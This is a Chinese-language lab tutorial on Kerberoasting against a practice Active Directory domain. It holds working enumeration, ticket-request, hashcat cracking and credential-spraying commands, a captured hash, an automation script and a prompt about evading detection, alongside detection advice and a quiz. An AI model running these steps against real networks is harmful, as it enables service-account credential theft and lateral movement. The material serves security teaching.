今天我們要深入學習 Kerberoasting - 一個針對服務帳號的強大攻擊技術。這是從「擁有基礎憑證」進階到「獵取服務帳號密碼」的關鍵技巧。我們將學習如何識別、攻擊並破解服務帳號,最終取得更高權限的存取。
在開始之前,確保已經完成:
samwell.tarly:Heartsbane
和 brandon.stark:iseedeadpeople
# 確認 Impacket 工具已安裝
which impacket-GetUserSPNs || sudo apt install python3-impacket -y
# 確認 hashcat 已安裝
which hashcat || sudo apt install hashcat -y
# 確認 ldapsearch 已安裝
which ldapsearch || sudo apt install ldap-utils -y
# 準備字典檔
ls /usr/share/wordlists/rockyou.txt || sudo gunzip /usr/share/wordlists/rockyou.txt.gz
MSSQLSvc/castelblack.north.sevenkingdoms.local:1433
- SQL 服務HTTP/web01.domain.local:80
- Web 服務HOST/dc01.domain.local
- 主機服務技術 | 需要憑證 | 目標 | 風險等級 | 偵測難度 |
---|---|---|---|---|
ASREPRoasting | ❌ | 不需預認證的帳號 | 高 | 困難 |
Kerberoasting | ✅ | 服務帳號 | 高 | 中等 |
Pass-the-Hash | Hash | 任意主機 | 高 | 中等 |
Golden Ticket | krbtgt hash | 整個網域 | 極高 | 困難 |
步驟 1:初始認證(AS-REQ/AS-REP)
使用者 → KDC:「我是 samwell.tarly,給我 TGT」
KDC → 使用者:「這是你的 TGT」(用 krbtgt 密碼加密)
步驟 2:請求服務票證(TGS-REQ/TGS-REP)
使用者 → KDC:「我要存取 SQL 服務,這是我的 TGT」
KDC → 使用者:「這是 SQL 的服務票證」(用 sql_svc 密碼加密)
步驟 3:存取服務(AP-REQ/AP-REP)
使用者 → SQL Server:「我要使用服務,這是 TGS」
SQL Server:(用自己的密碼解密 TGS)「驗證成功,開始服務」
攻擊者的做法:
步驟 1:正常取得 TGT ✓
步驟 2:請求服務票證 ✓
步驟 3:不送給服務!改為離線破解 TGS 取得密碼
為什麼 TGS 用服務帳號密碼加密?
攻擊利用點:
加密類型 | Etype | Hash 前綴 | Hashcat 模式 | 破解難度 |
---|---|---|---|---|
RC4-HMAC | 23 | $krb5tgs$23$ |
-m 13100 | 容易 |
AES-128 | 17 | $krb5tgs$17$ |
-m 19600 | 中等 |
AES-256 | 18 | $krb5tgs$18$ |
-m 19700 | 困難 |
重要提示: RC4 雖然較弱,但為了向後相容,許多環境仍然支援!
# 使用已知憑證查詢所有有 SPN 的使用者
ldapsearch -x -H ldap://192.168.139.11 \
-D 'NORTH\samwell.tarly' -w 'Heartsbane' \
-b 'DC=north,DC=sevenkingdoms,DC=local' \
'(&(objectClass=user)(servicePrincipalName=*))' \
sAMAccountName servicePrincipalName distinguishedName
參數說明:
192.168.139.11
。samwell.tarly / Heartsbane
)。DC=north,DC=sevenkingdoms,DC=local
展開。(&(objectClass=user)(servicePrincipalName=*))
為什麼執行:
LDAP 過濾器解釋:
(& # AND 運算
(objectClass=user) # 只找使用者(排除電腦)
(servicePrincipalName=*) # 有 SPN 屬性
)
預期結果:
# sql_svc, Users, north.sevenkingdoms.local
dn: CN=sql_svc,CN=Users,DC=north,DC=sevenkingdoms,DC=local
sAMAccountName: sql_svc
servicePrincipalName: MSSQLSvc/castelblack.north.sevenkingdoms.local:1433
# jon.snow, Users, north.sevenkingdoms.local
dn: CN=jon.snow,CN=Users,DC=north,DC=sevenkingdoms,DC=local
sAMAccountName: jon.snow
servicePrincipalName: HTTP/winterfell.north.sevenkingdoms.local
# sql_svc, Users, north.sevenkingdoms.local
dn: CN=sql_svc,CN=Users,DC=north,DC=sevenkingdoms,DC=local
sAMAccountName: sql_svc
servicePrincipalName: MSSQLSvc/castelblack.north.sevenkingdoms.local:1433
# sql_svc, Users, north.sevenkingdoms.local
CN=sql_svc,CN=Users,DC=north,DC=sevenkingdoms,DC=local
CN=sql_svc
:Common Name,物件名稱是 sql_svcCN=Users
:位於 Users 容器中(預設使用者存放位置)DC=north,DC=sevenkingdoms,DC=local
:網域組成(north.sevenkingdoms.local)sql_svc
MSSQLSvc/castelblack.north.sevenkingdoms.local:1433
MSSQLSvc
:服務類型(Microsoft SQL Server)castelblack.north.sevenkingdoms.local
:服務執行的主機名稱1433
:服務埠號(SQL Server 預設埠)# jon.snow, Users, north.sevenkingdoms.local
dn: CN=jon.snow,CN=Users,DC=north,DC=sevenkingdoms,DC=local
sAMAccountName: jon.snow
servicePrincipalName: HTTP/winterfell.north.sevenkingdoms.local
CN=jon.snow,CN=Users,DC=north,DC=sevenkingdoms,DC=local
jon.snow
HTTP/winterfell.north.sevenkingdoms.local
HTTP
:服務類型(Web 服務)winterfell.north.sevenkingdoms.local
:服務主機名稱# 請求所有服務票證
impacket-GetUserSPNs north.sevenkingdoms.local/samwell.tarly:Heartsbane \
-dc-ip 192.168.139.11 -request
參數說明:
north.sevenkingdoms.local/samwell.tarly:Heartsbane
:網域/使用者:密碼-dc-ip 192.168.139.11
:指定 DC IP(避免 DNS 問題)-request
:實際請求票證(否則只列出)預期輸出:
ServicePrincipalName Name MemberOf PasswordLastSet
---------------------------------------------------- ------- -------- -------------------
MSSQLSvc/castelblack.north.sevenkingdoms.local:1433 sql_svc 2024-01-01 12:00:00
HTTP/winterfell.north.sevenkingdoms.local jon.snow 2024-01-01 12:00:00
$krb5tgs$23$*sql_svc$NORTH.SEVENKINGDOMS.LOCAL$MSSQLSvc/castelblack.north...
$krb5tgs$23$*jon.snow$NORTH.SEVENKINGDOMS.LOCAL$HTTP/winterfell.north...
# 只攻擊特定使用者
impacket-GetUserSPNs north.sevenkingdoms.local/samwell.tarly:Heartsbane \
-dc-ip 192.168.139.11 -request-user sql_svc
儲存並破解hash:
cat > jon.snow.hash << 'EOF'
$krb5tgs$23$*jon.snow$NORTH.SEVENKINGDOMS.LOCAL$north.sevenkingdoms.local/jon.snow*$b46e4c9cad8a8c8f0375032c4ca16cca$e8c5a4ca8eb016dd2a82dac7c28ff124f8da26cc7b74bbafd4cf41bd2d08c484db62817a8a874c03b90ba714d9145ba427a06785fccc133c875813f1cecf51baba2da7ff8984946d79aa49e5b4f29d51acf796471c106d7fe7ff7396237e31599f25fd29131cac9b28fbc973e58d3aa79b7970d76569ed0d91297e117cd84e52d3f9b3b1f55e1a6d5460d2bd0adbaa32da7d2c9611adc18afa192873584fdf5c275da7e5d477959e4cc40b69630eada68e925561b95ae8be229675a5ac2c383de571223bd7fc2109a9a9af521652fae4778ab5cba7742cc9156dd49f51e92126ccef44bf3a1a5b4369631db87fbc1a92cbeb293948e3c8d1394410790effd0cea5c69036d2fc342122df58322007c678e45241a484fb397ab8b554b163357fe228c336b9176c1617e76b6637fec79bfb91f269171de9a5b35391eabc580987b79da7a3d4a2ad1b61aaf01e2a4a5a699d88954bb3aa056750ba88ff5e2429c0cb4e54b50dee514eb398d7e633ff2f78fafab602a7ce345bcacbb9dd829a3f68f572cb493df3c955615f89acbac3cbbc837d9a112fb966b22ec7dac8eda32d9f0f0894bb5dd4d4ad750513334d5aa42620d7a9219af59e7b00badbc7dd49dc2e3b472b9cf22483cf8cb6087396b61c069568944b05f1b25b1ed913f768653de756577e095180d5efa505094986994220c1fec234a8e072bd3720211748afa4dcd6dff9791822ec0fe738d01e7f4f32c986c6e341dbde22bc03f63232afd702646dc46087a2c2c1b2eebcf3c39f4f5a8164ed2989bfbe010e475f760d836b4149c6ccee156facdd16cca654a15711433a26a48f503fcf0309c85d5b030d962c4c7dff954e4e23b903d1a79fd67a4d69a4229f7a5caa85cb978774705fbd13c311a67348366d7f0d3a1986d631890e751050224b11b7936286a1fc65d94cc25f7e5b81f836ba08ce66bd9ea452e9245e06053ab9a30b0f664d6946e59317e3359df870c631359d72aa04226e65d88ec53bbe02bc2352d03d09eb7b2ec9185dd8b4d70ff0ba2ce2fde699a47ad6d8358fc9ae7ae73ad8dbb62a60a1e4212627cff2396c2d23b0aa9de9a887716d9666b516e586a6a1468c46d380f4e7733d2987c0ccb2366b198bf8564057fdbcae0fa741cf2728fe936757e0afd72db59061464e891b616c8da31277254ee8e1f50426c66154abd4a9419048797daea290fec9b3b39b214c724385647814d31e7a045ed6cfc2f476749db5ca05348f7fa3166d35aa9ac9c359ef0485c49434715af94b5949415a2e9110131d18504bfc924dc9ade00c3679ae1f3d826f287a329e2a175c1304e30f8c0d26d5c5687bd88a091649fd0bb885ce1be95f6765a0378698b927fb0887b9c9f0cae9c5933f1478b4279e6ffb6078527f526c98c34efd794eccb2fdded07200ee59a825a4cda7f51f55852f7a1f45c959b99d9de597f364690f7b835c44d6740585b7e9b0f4645edcff48ee408b732de40d1d62f15d6c24d4d81e
EOF
# 使用hashcat破解
hashcat -m 13100 sql_svc.hash /usr/share/wordlists/rockyou.txt --force
# 使用hashcat破解
hashcat -m 13100 jon.snow.hash /usr/share/wordlists/rockyou.txt --force
取得 jon.snow 密碼iknownothing
Hashcat 參數:
-m 13100
:Kerberos 5 TGS-REP etype 23 (RC4)--force
:忽略警告(VM 環境常需要)--status
:顯示即時狀態# AES-128 (etype 17)
hashcat -m 19600 aes128.hash /usr/share/wordlists/rockyou.txt --force
# AES-256 (etype 18)
hashcat -m 19700 aes256.hash /usr/share/wordlists/rockyou.txt --force
破解時間對比(相同硬體):
# 測試 jon.snow 的密碼
crackmapexec smb 192.168.139.0/24 -u jon.snow -p iknownothing
預期結果:
SMB 192.168.139.11 445 WINTERFELL [+] north.sevenkingdoms.local\jon.snow:iknownothing
SMB 192.168.139.22 445 CASTELBLACK [+] north.sevenkingdoms.local\jon.snow:iknownothing
SMB 192.168.139.23 445 BRAAVOS [+] essos.local\jon.snow:iknownothing
# 查看共享資料夾權限
crackmapexec smb 192.168.139.22 -u jon.snow -p iknownothing --shares
結果分析:
Share Permissions Remark
----- ----------- ------
ADMIN$ Remote Admin ← 無存取權限
all READ,WRITE Basic RW share ← 可讀寫!
C$ Default share ← 無存取權限
IPC$ READ Remote IPC
public READ Basic Read share for all domain users
監控以下 Windows 事件:
Event ID 4769 - Kerberos Service Ticket Operations
- 異常:短時間內大量不同服務的請求
- 異常:使用者請求從未使用過的服務
- 異常:加密類型降級(AES → RC4)
# 1. 檢查所有有 SPN 的使用者帳號
ldapsearch -x -H ldap://DC_IP -D "admin@domain" -w "password" \
'(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName
# 2. 確認服務帳號使用強密碼(25+ 字元)
# 3. 考慮改用 gMSA(群組受管理服務帳號)
# 4. 停用 RC4,只使用 AES
# 建立誘餌 SPN 監控 Kerberoasting
# 任何對此帳號的 TGS 請求都應觸發警報
使用者 | 密碼 | 取得方式 | 權限等級 |
---|---|---|---|
samwell.tarly | Heartsbane | 描述欄位 | 一般使用者 |
brandon.stark | iseedeadpeople | ASREPRoasting | 一般使用者 |
jon.snow | iknownothing | Kerberoasting | 跨網域存取 |
技術 | 成功率 | 破解時間 | 偵測風險 |
---|---|---|---|
ASREPRoasting | 低(需特定設定) | 快 | 低 |
Kerberoasting (RC4) | 高 | 快 | 中 |
Kerberoasting (AES) | 高 | 慢 | 中 |
無憑證 Kerberoasting | 極低 | 快 | 低 |
#!/bin/bash
# kerberoast.sh - 自動化 Kerberoasting 腳本
DOMAIN="$1"
USER="$2"
PASS="$3"
DC_IP="$4"
echo "[+] 尋找 SPN 帳號..."
impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" -dc-ip $DC_IP > spn_users.txt
echo "[+] 請求所有票證..."
impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" -dc-ip $DC_IP -request \
-outputfile kerberoast_hashes.txt
echo "[+] 開始破解..."
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
--force --potfile-path=cracked.pot
echo "[+] 顯示破解結果..."
hashcat -m 13100 kerberoast_hashes.txt --show
用途 | 指令 |
---|---|
查詢 SPN | ldapsearch -x -H ldap://<DC> '(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName |
Kerberoasting | impacket-GetUserSPNs domain/user:pass -dc-ip <DC> -request |
破解 RC4 | hashcat -m 13100 hash.txt wordlist.txt |
破解 AES-128 | hashcat -m 19600 hash.txt wordlist.txt |
破解 AES-256 | hashcat -m 19700 hash.txt wordlist.txt |
驗證密碼 | crackmapexec smb <IP> -u user -p password |
為什麼服務帳號常使用弱密碼?
提示:服務穩定性 vs 安全性、密碼輪換的挑戰
RC4 vs AES 的取捨?
提示:向後相容、破解難度、企業環境現實
如何在不被偵測的情況下執行 Kerberoasting?
提示:時間間隔、目標選擇、正常行為模擬
Kerberoasting 的關鍵前提是什麼?
A. 目標服務使用電腦帳號(machine$)作為 SPN。
B. 攻擊者需取得 krbtgt 帳號的 hash 才能請求 TGS。
C. 任何有有效使用者憑證的人都能向 KDC 請求服務票證 (TGS)。
D. Kerberoasting 只能在啟用 RC4 的環境發生。
正確答案:C。
解析:KDC 允許任何有效憑證請求 TGS,攻擊者可取得用服務帳號加密的 TGS 並離線破解。電腦帳號通常不可行(A錯),不需 krbtgt(B錯),也不只限於 RC4(D錯,AES 亦可)。
下列哪一項最能降低 Kerberoasting 成功率?
A. 使用短且固定的服務帳號密碼。
B. 使用群組受管理服務帳號(gMSA)或 Managed Service Account 並定期輪換密碼。
C. 把服務帳號改成電腦帳號(machine$)。
D. 在 Domain Controller 上停用 Kerberos。
正確答案:B。
解析:gMSA 自動管理密碼並頻繁輪換,大幅降低長期弱密碼被破解的風險。C 不實際且影響功能;D 會破壞正常認證。
Impacket 的 GetUserSPNs 輸出 $krb5tgs$23$...
格式表示哪種加密類型?
A. AES-128
B. AES-256
C. RC4-HMAC (etype 23)
D. DES
正確答案:C。
解析:$krb5tgs$23$
對應 etype 23,即 RC4-HMAC,hashcat 模式為 13100。
在偵測 Kerberoasting 時,下列哪一項是合理的 SIEM 告警規則?
A. 監控來源 IP 對單一 SPN 的所有 TGS 請求在 1 分鐘內超過 100 次。
B. 監控單一使用者短時間內請求多個不同服務(多個 SPN)的 TGS。
C. 監控所有成功的 NTLM 驗證。
D. 僅監控 4624 事件就能偵測所有 Kerberoasting。
正確答案:B。
解析:Kerberoasting 常見行為是同一使用者在短時間內請求多個服務票證;A 雖極端但可能誤判,C/D 不足以專門偵測 Kerberoast 行為。
關於使用 hashcat 破解 Kerberoast hash,下列敘述何者正確?
A. AES-256 的 krb5tgs(etype 18)永遠比 RC4 更容易破解。
B. 在未取得 GPU 的情況下,破解 AES-256 仍然快速且實用。
C. 可以用字典 + 規則(rule)或 mask 來提高破解成功率。
D. 一旦 hash 存在於檔案中,就沒必要保護該檔案(可任意分享)。
正確答案:C。
解析:使用規則或 mask 可以顯著提升成功率(C正確)。A/B 錯誤(AES 比 RC4 更難,且 AES-256 在無強大 GPU 時非常耗時)。D 極度錯誤 — hash/potfile 必須保護。